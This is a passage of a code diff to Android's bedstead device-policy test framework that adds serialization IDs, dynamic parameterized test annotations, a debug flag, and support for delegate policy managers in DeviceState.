diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminSecurityLogsAvailableEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminSecurityLogsAvailableEvent.java
index 8e430ed..a06bbd1 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminSecurityLogsAvailableEvent.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminSecurityLogsAvailableEvent.java
@@ -37,6 +37,8 @@
  */
 public final class DeviceAdminSecurityLogsAvailableEvent extends Event {
 
+    private static final long serialVersionUID = 1;
+
     /** Begins a query for {@link DeviceAdminSecurityLogsAvailableEvent} events. */
     public static DeviceAdminSecurityLogsAvailableEventQuery queryPackage(String packageName) {
         return new DeviceAdminSecurityLogsAvailableEventQuery(packageName);
@@ -46,6 +48,9 @@
     public static final class DeviceAdminSecurityLogsAvailableEventQuery
             extends EventLogsQuery<DeviceAdminSecurityLogsAvailableEvent,
             DeviceAdminSecurityLogsAvailableEventQuery> {
+
+        private static final long serialVersionUID = 1;
+
         DeviceAdminReceiverQueryHelper<DeviceAdminSecurityLogsAvailableEventQuery> mDeviceAdminReceiver =
                 new DeviceAdminReceiverQueryHelper<>(this);
         IntentQueryHelper<DeviceAdminSecurityLogsAvailableEventQuery> mIntent =
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminSystemUpdatePendingEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminSystemUpdatePendingEvent.java
index 30b4fa7..2705942 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminSystemUpdatePendingEvent.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminSystemUpdatePendingEvent.java
@@ -37,6 +37,8 @@
 /** Event logged when {@link DeviceAdminReceiver#onSystemUpdatePending} is called. */
 public class DeviceAdminSystemUpdatePendingEvent extends Event {
 
+    private static final long serialVersionUID = 1;
+
     /** Begins a query for {@link DeviceAdminSystemUpdatePendingEvent} events. */
     public static DeviceAdminSystemUpdatePendingEventQuery queryPackage(String packageName) {
         return new DeviceAdminSystemUpdatePendingEventQuery(packageName);
@@ -46,6 +48,9 @@
     public static final class DeviceAdminSystemUpdatePendingEventQuery
             extends EventLogsQuery<DeviceAdminSystemUpdatePendingEvent,
                     DeviceAdminSystemUpdatePendingEventQuery> {
+
+        private static final long serialVersionUID = 1;
+
         DeviceAdminReceiverQueryHelper<DeviceAdminSystemUpdatePendingEventQuery>
                 mDeviceAdminReceiver = new DeviceAdminReceiverQueryHelper<>(this);
         IntentQueryHelper<DeviceAdminSystemUpdatePendingEventQuery> mIntent =
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminTransferAffiliatedProfileOwnershipCompleteEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminTransferAffiliatedProfileOwnershipCompleteEvent.java
index 5678935..4ce8b18 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminTransferAffiliatedProfileOwnershipCompleteEvent.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminTransferAffiliatedProfileOwnershipCompleteEvent.java
@@ -39,6 +39,8 @@
  */
 public final class DeviceAdminTransferAffiliatedProfileOwnershipCompleteEvent extends Event {
 
+    private static final long serialVersionUID = 1;
+
     /** Begins a query for {@link DeviceAdminTransferAffiliatedProfileOwnershipCompleteEvent} events. */
     public static DeviceAdminTransferAffiliatedProfileOwnershipCompleteEventQuery queryPackage(
             String packageName) {
@@ -49,6 +51,9 @@
     public static final class DeviceAdminTransferAffiliatedProfileOwnershipCompleteEventQuery
             extends EventLogsQuery<DeviceAdminTransferAffiliatedProfileOwnershipCompleteEvent,
             DeviceAdminTransferAffiliatedProfileOwnershipCompleteEventQuery> {
+
+        private static final long serialVersionUID = 1;
+
         DeviceAdminReceiverQueryHelper<DeviceAdminTransferAffiliatedProfileOwnershipCompleteEventQuery> mDeviceAdminReceiver =
                 new DeviceAdminReceiverQueryHelper<>(this);
         UserHandleQueryHelper<DeviceAdminTransferAffiliatedProfileOwnershipCompleteEventQuery>
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminTransferOwnershipCompleteEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminTransferOwnershipCompleteEvent.java
index 3a8d159..7cfc991 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminTransferOwnershipCompleteEvent.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminTransferOwnershipCompleteEvent.java
@@ -38,6 +38,8 @@
  */
 public final class DeviceAdminTransferOwnershipCompleteEvent extends Event {
 
+    private static final long serialVersionUID = 1;
+
     /** Begins a query for {@link DeviceAdminTransferOwnershipCompleteEvent} events. */
     public static DeviceAdminTransferOwnershipCompleteEventQuery queryPackage(String packageName) {
         return new DeviceAdminTransferOwnershipCompleteEventQuery(packageName);
@@ -47,6 +49,9 @@
     public static final class DeviceAdminTransferOwnershipCompleteEventQuery
             extends EventLogsQuery<DeviceAdminTransferOwnershipCompleteEvent,
             DeviceAdminTransferOwnershipCompleteEventQuery> {
+
+        private static final long serialVersionUID = 1;
+
         DeviceAdminReceiverQueryHelper<DeviceAdminTransferOwnershipCompleteEventQuery> mDeviceAdminReceiver =
                 new DeviceAdminReceiverQueryHelper<>(this);
         PersistableBundleQueryHelper<DeviceAdminTransferOwnershipCompleteEventQuery> mBundle =
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminUserAddedEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminUserAddedEvent.java
index f87ab08..633286a 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminUserAddedEvent.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminUserAddedEvent.java
@@ -39,6 +39,8 @@
  */
 public final class DeviceAdminUserAddedEvent extends Event {
 
+    private static final long serialVersionUID = 1;
+
     /** Begins a query for {@link DeviceAdminUserAddedEvent} events. */
     public static DeviceAdminUserAddedEventQuery queryPackage(String packageName) {
         return new DeviceAdminUserAddedEventQuery(packageName);
@@ -48,6 +50,9 @@
     public static final class DeviceAdminUserAddedEventQuery
             extends EventLogsQuery<DeviceAdminUserAddedEvent,
             DeviceAdminUserAddedEventQuery> {
+
+        private static final long serialVersionUID = 1;
+
         DeviceAdminReceiverQueryHelper<DeviceAdminUserAddedEventQuery> mDeviceAdminReceiver =
                 new DeviceAdminReceiverQueryHelper<>(this);
         IntentQueryHelper<DeviceAdminUserAddedEventQuery> mIntent =
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminUserRemovedEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminUserRemovedEvent.java
index dc844ef09..9669a84 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminUserRemovedEvent.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminUserRemovedEvent.java
@@ -39,6 +39,8 @@
  */
 public final class DeviceAdminUserRemovedEvent extends Event {
 
+    private static final long serialVersionUID = 1;
+
     /** Begins a query for {@link DeviceAdminUserRemovedEvent} events. */
     public static DeviceAdminUserRemovedEventQuery queryPackage(String packageName) {
         return new DeviceAdminUserRemovedEventQuery(packageName);
@@ -48,6 +50,9 @@
     public static final class DeviceAdminUserRemovedEventQuery
             extends EventLogsQuery<DeviceAdminUserRemovedEvent,
             DeviceAdminUserRemovedEventQuery> {
+
+        private static final long serialVersionUID = 1;
+
         DeviceAdminReceiverQueryHelper<DeviceAdminUserRemovedEventQuery> mDeviceAdminReceiver =
                 new DeviceAdminReceiverQueryHelper<>(this);
         IntentQueryHelper<DeviceAdminUserRemovedEventQuery> mIntent =
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminUserStartedEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminUserStartedEvent.java
index 54a5e96..e5b4836 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminUserStartedEvent.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminUserStartedEvent.java
@@ -39,6 +39,8 @@
  */
 public final class DeviceAdminUserStartedEvent extends Event {
 
+    private static final long serialVersionUID = 1;
+
     /** Begins a query for {@link DeviceAdminUserStartedEvent} events. */
     public static DeviceAdminUserStartedEventQuery queryPackage(String packageName) {
         return new DeviceAdminUserStartedEventQuery(packageName);
@@ -48,6 +50,9 @@
     public static final class DeviceAdminUserStartedEventQuery
             extends EventLogsQuery<DeviceAdminUserStartedEvent,
             DeviceAdminUserStartedEventQuery> {
+
+        private static final long serialVersionUID = 1;
+
         DeviceAdminReceiverQueryHelper<DeviceAdminUserStartedEventQuery> mDeviceAdminReceiver =
                 new DeviceAdminReceiverQueryHelper<>(this);
         IntentQueryHelper<DeviceAdminUserStartedEventQuery> mIntent =
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminUserStoppedEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminUserStoppedEvent.java
index 3e48857..4b20642 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminUserStoppedEvent.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminUserStoppedEvent.java
@@ -40,6 +40,8 @@
  */
 public final class DeviceAdminUserStoppedEvent extends Event {
 
+    private static final long serialVersionUID = 1;
+
     /** Begins a query for {@link DeviceAdminUserStoppedEvent} events. */
     public static DeviceAdminUserStoppedEventQuery queryPackage(String packageName) {
         return new DeviceAdminUserStoppedEventQuery(packageName);
@@ -49,6 +51,9 @@
     public static final class DeviceAdminUserStoppedEventQuery
             extends EventLogsQuery<DeviceAdminUserStoppedEvent,
             DeviceAdminUserStoppedEventQuery> {
+
+        private static final long serialVersionUID = 1;
+
         DeviceAdminReceiverQueryHelper<DeviceAdminUserStoppedEventQuery> mDeviceAdminReceiver =
                 new DeviceAdminReceiverQueryHelper<>(this);
         IntentQueryHelper<DeviceAdminUserStoppedEventQuery> mIntent =
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminUserSwitchedEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminUserSwitchedEvent.java
index 25287f9..b7c7ea1 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminUserSwitchedEvent.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminUserSwitchedEvent.java
@@ -40,6 +40,8 @@
  */
 public final class DeviceAdminUserSwitchedEvent extends Event {
 
+    private static final long serialVersionUID = 1;
+
     /** Begins a query for {@link DeviceAdminUserSwitchedEvent} events. */
     public static DeviceAdminUserSwitchedEventQuery queryPackage(String packageName) {
         return new DeviceAdminUserSwitchedEventQuery(packageName);
@@ -49,6 +51,9 @@
     public static final class DeviceAdminUserSwitchedEventQuery
             extends EventLogsQuery<DeviceAdminUserSwitchedEvent,
             DeviceAdminUserSwitchedEventQuery> {
+
+        private static final long serialVersionUID = 1;
+
         DeviceAdminReceiverQueryHelper<DeviceAdminUserSwitchedEventQuery> mDeviceAdminReceiver =
                 new DeviceAdminReceiverQueryHelper<>(this);
         IntentQueryHelper<DeviceAdminUserSwitchedEventQuery> mIntent =
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/BedsteadJUnit4.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/BedsteadJUnit4.java
index 6d43808..7ffabbe 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/BedsteadJUnit4.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/BedsteadJUnit4.java
@@ -16,7 +16,10 @@
 
 package com.android.bedstead.harrier;
 
+import android.os.Bundle;
+
 import androidx.annotation.Nullable;
+import androidx.test.platform.app.InstrumentationRegistry;
 
 import com.android.bedstead.harrier.annotations.AnnotationRunPrecedence;
 import com.android.bedstead.harrier.annotations.enterprise.CanSetPolicyTest;
@@ -72,18 +75,23 @@
         return getAnnotationWeight(a) - getAnnotationWeight(b);
     }
 
-    private static int getAnnotationWeight(Annotation a) {
-        if (!a.annotationType().getPackage().getName().startsWith(BEDSTEAD_PACKAGE_NAME)) {
+    private static int getAnnotationWeight(Annotation annotation) {
+        if (annotation instanceof DynamicParameterizedAnnotation) {
+            // Special case, not important
+            return AnnotationRunPrecedence.PRECEDENCE_NOT_IMPORTANT;
+        }
+
+        if (!annotation.annotationType().getPackage().getName().startsWith(BEDSTEAD_PACKAGE_NAME)) {
             return AnnotationRunPrecedence.FIRST;
         }
 
         try {
-            return (int) a.annotationType().getMethod("weight").invoke(a);
+            return (int) annotation.annotationType().getMethod("weight").invoke(annotation);
         } catch (NoSuchMethodException e) {
             // Default to PRECEDENCE_NOT_IMPORTANT if no weight is found on the annotation.
             return AnnotationRunPrecedence.PRECEDENCE_NOT_IMPORTANT;
         } catch (IllegalAccessException | InvocationTargetException e) {
-            throw new NeneException("Failed to invoke weight on this annotation: " + a, e);
+            throw new NeneException("Failed to invoke weight on this annotation: " + annotation, e);
         }
     }
 
@@ -92,7 +100,7 @@
      */
     public static final class BedsteadFrameworkMethod extends FrameworkMethod {
 
-        private final Class<? extends Annotation> mParameterizedAnnotation;
+        private final Annotation mParameterizedAnnotation;
         private final Map<Class<? extends Annotation>, Annotation> mAnnotationsMap =
                 new HashMap<>();
         private Annotation[] mAnnotations;
@@ -103,8 +111,7 @@
 
         public BedsteadFrameworkMethod(Method method, Annotation parameterizedAnnotation) {
             super(method);
-            this.mParameterizedAnnotation = (parameterizedAnnotation == null) ? null
-                    : parameterizedAnnotation.annotationType();
+            mParameterizedAnnotation = parameterizedAnnotation;
 
             calculateAnnotations();
         }
@@ -124,6 +131,9 @@
 
             this.mAnnotations = annotations.toArray(new Annotation[0]);
             for (Annotation annotation : annotations) {
+                if (annotation instanceof DynamicParameterizedAnnotation) {
+                    continue; // don't return this
+                }
                 mAnnotationsMap.put(annotation.annotationType(), annotation);
             }
         }
@@ -133,7 +143,7 @@
             if (mParameterizedAnnotation == null) {
                 return super.getName();
             }
-            return super.getName() + "[" + mParameterizedAnnotation.getSimpleName() + "]";
+            return super.getName() + "[" + getParameterName(mParameterizedAnnotation) + "]";
         }
 
         @Override
@@ -162,13 +172,20 @@
         }
     }
 
+    private static String getParameterName(Annotation annotation) {
+        if (annotation instanceof DynamicParameterizedAnnotation) {
+            return ((DynamicParameterizedAnnotation) annotation).name();
+        }
+        return annotation.annotationType().getSimpleName();
+    }
+
     /**
      * Resolve annotations recursively.
      *
      * @param parameterizedAnnotation The class of the parameterized annotation to expand, if any
      */
     public static void resolveRecursiveAnnotations(List<Annotation> annotations,
-            @Nullable Class<? extends Annotation> parameterizedAnnotation) {
+            @Nullable Annotation parameterizedAnnotation) {
         int index = 0;
         while (index < annotations.size()) {
             Annotation annotation = annotations.get(index);
@@ -181,11 +198,34 @@
         }
     }
 
+    private static boolean isParameterizedAnnotation(Annotation annotation) {
+        if (annotation instanceof DynamicParameterizedAnnotation) {
+            return true;
+        }
+
+        return annotation.annotationType().getAnnotation(ParameterizedAnnotation.class) != null;
+    }
+
+    private static Annotation[] getIndirectAnnotations(Annotation annotation) {
+        if (annotation instanceof DynamicParameterizedAnnotation) {
+            return ((DynamicParameterizedAnnotation) annotation).annotations();
+        }
+        return annotation.annotationType().getAnnotations();
+    }
+
+    private static boolean isRepeatingAnnotation(Annotation annotation) {
+        if (annotation instanceof DynamicParameterizedAnnotation) {
+            return false;
+        }
+
+        return annotation.annotationType().getAnnotation(RepeatingAnnotation.class) != null;
+    }
+
     private static List<Annotation> getReplacementAnnotations(Annotation annotation,
-            @Nullable Class<? extends Annotation> parameterizedAnnotation) {
+            @Nullable Annotation parameterizedAnnotation) {
         List<Annotation> replacementAnnotations = new ArrayList<>();
 
-        if (annotation.annotationType().getAnnotation(RepeatingAnnotation.class) != null) {
+        if (isRepeatingAnnotation(annotation)) {
             try {
                 Annotation[] annotations =
                         (Annotation[]) annotation.annotationType()
@@ -197,14 +237,12 @@
             }
         }
 
-        if (annotation.annotationType().getAnnotation(ParameterizedAnnotation.class) != null
-                && !annotation.annotationType().equals(parameterizedAnnotation)) {
+        if (isParameterizedAnnotation(annotation) && !annotation.equals(parameterizedAnnotation)) {
             return replacementAnnotations;
         }
 
-        for (Annotation indirectAnnotation : annotation.annotationType().getAnnotations()) {
-            String annotationPackage = indirectAnnotation.annotationType().getPackage().getName();
-            if (shouldSkipAnnotation(annotationPackage)) {
+        for (Annotation indirectAnnotation : getIndirectAnnotations(annotation)) {
+            if (shouldSkipAnnotation(annotation)) {
                 continue;
             }
 
@@ -212,12 +250,21 @@
                     indirectAnnotation, parameterizedAnnotation));
         }
 
-        replacementAnnotations.add(annotation);
+        if (!(annotation instanceof DynamicParameterizedAnnotation)) {
+            // We drop the fake annotation once it's replaced
+            replacementAnnotations.add(annotation);
+        }
 
         return replacementAnnotations;
     }
 
-    private static boolean shouldSkipAnnotation(String annotationPackage) {
+    private static boolean shouldSkipAnnotation(Annotation annotation) {
+        if (annotation instanceof DynamicParameterizedAnnotation) {
+            return false;
+        }
+
+        String annotationPackage = annotation.annotationType().getPackage().getName();
+
         for (String ignoredPackage : sIgnoredAnnotationPackages) {
             if (ignoredPackage.endsWith(".*")) {
                 if (annotationPackage.startsWith(
@@ -236,6 +283,14 @@
         super(testClass);
     }
 
+    private boolean annotationShouldBeSkipped(Annotation annotation) {
+        if (annotation instanceof DynamicParameterizedAnnotation) {
+            return false;
+        }
+
+        return annotation.annotationType().equals(IncludeNone.class);
+    }
+
     @Override
     protected List<FrameworkMethod> computeTestMethods() {
         TestClass testClass = getTestClass();
@@ -252,7 +307,7 @@
             }
 
             for (Annotation annotation : parameterizedAnnotations) {
-                if (annotation.annotationType().equals(IncludeNone.class)) {
+                if (annotationShouldBeSkipped(annotation)) {
                     // Special case - does not generate a run
                     continue;
                 }
@@ -328,7 +383,7 @@
         parseEnterpriseAnnotations(annotations);
 
         for (Annotation annotation : annotations) {
-            if (annotation.annotationType().getAnnotation(ParameterizedAnnotation.class) != null) {
+            if (isParameterizedAnnotation(annotation)) {
                 parameterizedAnnotations.add(annotation);
             }
         }
@@ -376,7 +431,7 @@
                 EnterprisePolicy enterprisePolicy =
                         policy.getAnnotation(EnterprisePolicy.class);
                 List<Annotation> replacementAnnotations =
-                        Policy.cannotSetPolicyStates(policy.getName(), enterprisePolicy);
+                        Policy.cannotSetPolicyStates(policy.getName(), enterprisePolicy, ((CannotSetPolicyTest) annotation).includeDeviceAdminStates(), ((CannotSetPolicyTest) annotation).includeNonDeviceAdminStates());
                 replacementAnnotations.sort(BedsteadJUnit4::annotationSorter);
 
                 annotations.addAll(index, replacementAnnotations);
@@ -418,4 +473,17 @@
 
         return rules;
     }
+
+    /**
+     * True if the test is running in debug mode.
+     *
+     * <p>This will result in additional debugging information being added which would otherwise
+     * be dropped to improve test performance.
+     *
+     * <p>To enable this, pass the "bedstead-debug" instrumentation arg as "true"
+     */
+    public static boolean isDebug() {
+        Bundle arguments = InstrumentationRegistry.getArguments();
+        return Boolean.parseBoolean(arguments.getString("bedstead-debug", "false"));
+    }
 }
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DeviceState.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DeviceState.java
index cfdef77..bb0783c 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DeviceState.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DeviceState.java
@@ -17,6 +17,8 @@
 package com.android.bedstead.harrier;
 
 import static android.Manifest.permission.INTERACT_ACROSS_USERS_FULL;
+import static android.app.ActivityManager.STOP_USER_ON_SWITCH_DEFAULT;
+import static android.app.ActivityManager.STOP_USER_ON_SWITCH_FALSE;
 
 import static com.android.bedstead.nene.permissions.Permissions.NOTIFY_PENDING_SYSTEM_UPDATE;
 import static com.android.bedstead.nene.users.UserType.MANAGED_PROFILE_TYPE_NAME;
@@ -58,6 +60,7 @@
 import com.android.bedstead.harrier.annotations.RequireSdkVersion;
 import com.android.bedstead.harrier.annotations.RequireUserSupported;
 import com.android.bedstead.harrier.annotations.TestTag;
+import com.android.bedstead.harrier.annotations.enterprise.EnsureHasDelegate;
 import com.android.bedstead.harrier.annotations.enterprise.EnsureHasDeviceOwner;
 import com.android.bedstead.harrier.annotations.enterprise.EnsureHasNoDeviceOwner;
 import com.android.bedstead.harrier.annotations.enterprise.EnsureHasNoProfileOwner;
@@ -83,7 +86,11 @@
 import com.android.bedstead.nene.utils.ShellCommand;
 import com.android.bedstead.nene.utils.Tags;
 import com.android.bedstead.nene.utils.Versions;
+import com.android.bedstead.remotedpc.RemoteDelegate;
 import com.android.bedstead.remotedpc.RemoteDpc;
+import com.android.bedstead.remotedpc.RemotePolicyManager;
+import com.android.bedstead.testapp.TestApp;
+import com.android.bedstead.testapp.TestAppInstance;
 import com.android.compatibility.common.util.BlockingBroadcastReceiver;
 import com.android.eventlib.EventLogs;
 
@@ -344,6 +351,17 @@
                 continue;
             }
 
+            if (annotation instanceof EnsureHasDelegate) {
+                EnsureHasDelegate ensureHasDelegateAnnotation =
+                        (EnsureHasDelegate) annotation;
+                ensureHasDelegate(
+                        ensureHasDelegateAnnotation.admin(),
+                        Arrays.asList(ensureHasDelegateAnnotation.scopes()),
+                        ensureHasDelegateAnnotation.isPrimary());
+                continue;
+            }
+
+
             if (annotation instanceof EnsureHasDeviceOwner) {
                 EnsureHasDeviceOwner ensureHasDeviceOwnerAnnotation =
                         (EnsureHasDeviceOwner) annotation;
@@ -600,12 +618,12 @@
 
                 Tags.clearTags();
                 Tags.addTag(Tags.USES_DEVICESTATE);
-
-                boolean originalStopBgUsersOnSwitch =
-                        TestApis.users().getStopBgUsersOnSwitch();
+                if (TestApis.packages().instrumented().isInstantApp()) {
+                    Tags.addTag(Tags.INSTANT_APP);
+                }
 
                 try {
-                    TestApis.users().setStopBgUsersOnSwitch(false);
+                    TestApis.users().setStopBgUsersOnSwitch(STOP_USER_ON_SWITCH_FALSE);
 
                     try {
                         List<Annotation> annotations =
@@ -642,7 +660,7 @@
                         teardownShareableState();
                     }
 
-                    TestApis.users().setStopBgUsersOnSwitch(originalStopBgUsersOnSwitch);
+                    TestApis.users().setStopBgUsersOnSwitch(STOP_USER_ON_SWITCH_DEFAULT);
                 }
             }
         };
@@ -876,7 +894,7 @@
             mProfiles = new HashMap<>();
     private DevicePolicyController mDeviceOwner;
     private Map<UserReference, DevicePolicyController> mProfileOwners = new HashMap<>();
-    private DevicePolicyController mPrimaryDpc;
+    private RemotePolicyManager mPrimaryPolicyManager;
 
     private final List<UserReference> mCreatedUsers = new ArrayList<>();
     private final List<UserBuilder> mRemovedUsers = new ArrayList<>();
@@ -1289,9 +1307,11 @@
             broadcastReceiver.unregisterQuietly();
         }
         mRegisteredBroadcastReceivers.clear();
-        mPrimaryDpc = null;
+        mPrimaryPolicyManager = null;
     }
 
+    private Set<TestAppInstance> mInstalledTestApps = new HashSet<>();
+
     private void teardownShareableState() {
         if (mOriginalSwitchedUser != null) {
             if (!mOriginalSwitchedUser.exists()) {
@@ -1351,6 +1371,11 @@
         }
 
         mRemovedUsers.clear();
+
+        for (TestAppInstance installedTestApp : mInstalledTestApps) {
+            installedTestApp.uninstall();
+        }
+        mInstalledTestApps.clear();
     }
 
     private UserReference createProfile(
@@ -1392,16 +1417,64 @@
         }
     }
 
+    private void ensureHasDelegate(
+            EnsureHasDelegate.AdminType adminType, List<String> scopes, boolean isPrimary) {
+        RemotePolicyManager dpc = getDeviceAdmin(adminType);
+
+
+        boolean specifiesAdminType = adminType != EnsureHasDelegate.AdminType.PRIMARY;
+        boolean currentPrimaryPolicyManagerIsNotDelegator = mPrimaryPolicyManager != dpc;
+
+        if (isPrimary && mPrimaryPolicyManager != null
+                && (specifiesAdminType || currentPrimaryPolicyManagerIsNotDelegator)) {
+            throw new IllegalStateException(
+                    "Only one DPC can be marked as primary per test (current primary is "
+                            + mPrimaryPolicyManager + ")");
+        }
+
+        if (!dpc.user().equals(TestApis.users().instrumented())) {
+            // INTERACT_ACROSS_USERS_FULL is required for RemoteDPC
+            ensureCanGetPermission(INTERACT_ACROSS_USERS_FULL);
+        }
+
+        ensureTestAppInstalled(RemoteDelegate.sTestApp, dpc.user());
+        RemoteDelegate delegate = new RemoteDelegate(RemoteDelegate.sTestApp, dpc().user());
+        dpc.devicePolicyManager().setDelegatedScopes(
+                dpc.componentName(), delegate.packageName(), scopes);
+
+        if (isPrimary) {
+            mPrimaryPolicyManager = delegate;
+        }
+    }
+
+    private RemotePolicyManager getDeviceAdmin(EnsureHasDelegate.AdminType adminType) {
+        switch (adminType) {
+            case DEVICE_OWNER:
+                return deviceOwner();
+            case PROFILE_OWNER:
+                return profileOwner();
+            case PRIMARY:
+                return dpc();
+            default:
+                throw new IllegalStateException("Unknown device admin type " + adminType);
+        }
+    }
+
+    private void ensureTestAppInstalled(TestApp testApp, UserReference user) {
+        mInstalledTestApps.add(testApp.install(user));
+    }
+
     private void ensureHasDeviceOwner(FailureMode failureMode, boolean isPrimary,
             Set<String> affiliationIds) {
         // TODO(scottjonathan): Should support non-remotedpc device owner (default to remotedpc)
 
         UserReference userReference = TestApis.users().system();
 
-        if (isPrimary && mPrimaryDpc != null && !userReference.equals(mPrimaryDpc.user())) {
+        if (isPrimary && mPrimaryPolicyManager != null && !userReference.equals(
+                mPrimaryPolicyManager.user())) {
             throw new IllegalStateException(
                     "Only one DPC can be marked as primary per test (current primary is "
-                            + mPrimaryDpc + ")");
+                            + mPrimaryPolicyManager + ")");
         }
         if (!userReference.equals(TestApis.users().instrumented())) {
             // INTERACT_ACROSS_USERS_FULL is required for RemoteDPC
@@ -1453,7 +1526,7 @@
         }
 
         if (isPrimary) {
-            mPrimaryDpc = mDeviceOwner;
+            mPrimaryPolicyManager = RemoteDpc.forDevicePolicyController(mDeviceOwner);
         }
         
         RemoteDpc.forDevicePolicyController(mDeviceOwner)
@@ -1469,7 +1542,8 @@
 
     private void ensureHasProfileOwner(
             UserReference user, boolean isPrimary, Set<String> affiliationIds) {
-        if (isPrimary && mPrimaryDpc != null && !user.equals(mPrimaryDpc.user())) {
+        if (isPrimary && mPrimaryPolicyManager != null
+                && !user.equals(mPrimaryPolicyManager.user())) {
             throw new IllegalStateException("Only one DPC can be marked as primary per test");
         }
 
@@ -1499,7 +1573,7 @@
         }
 
         if (isPrimary) {
-            mPrimaryDpc = mProfileOwners.get(user);
+            mPrimaryPolicyManager = RemoteDpc.forDevicePolicyController(mProfileOwners.get(user));
         }
 
         if (affiliationIds != null) {
@@ -1668,20 +1742,22 @@
     }
 
     /**
-     * Get the most appropriate {@link RemoteDpc} instance for the device state.
+     * Get the most appropriate {@link RemotePolicyManager} instance for the device state.
      *
      * <p>This method should only be used by tests which are annotated with {@link PolicyTest}.
      *
-     * <p>If no DPC is set as the "primary" DPC for the device state, then this method will first
+     * <p>This may be a DPC, a delegate, or a normal app with or without given permissions.
+     *
+     * <p>If no policy manager is set as "primary" for the device state, then this method will first
      * check for a profile owner in the current user, or else check for a device owner.
      *
      * <p>If no Harrier-managed profile owner or device owner exists, an exception will be thrown.
      *
      * <p>If the profile owner or device owner is not a RemoteDPC then an exception will be thrown.
      */
-    public RemoteDpc dpc() {
-        if (mPrimaryDpc != null) {
-            return RemoteDpc.forDevicePolicyController(mPrimaryDpc);
+    public RemotePolicyManager dpc() {
+        if (mPrimaryPolicyManager != null) {
+            return mPrimaryPolicyManager;
         }
 
         if (mProfileOwners.containsKey(TestApis.users().instrumented())) {
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DynamicParameterizedAnnotation.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DynamicParameterizedAnnotation.java
new file mode 100644
index 0000000..15afb2b
--- /dev/null
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DynamicParameterizedAnnotation.java
@@ -0,0 +1,67 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
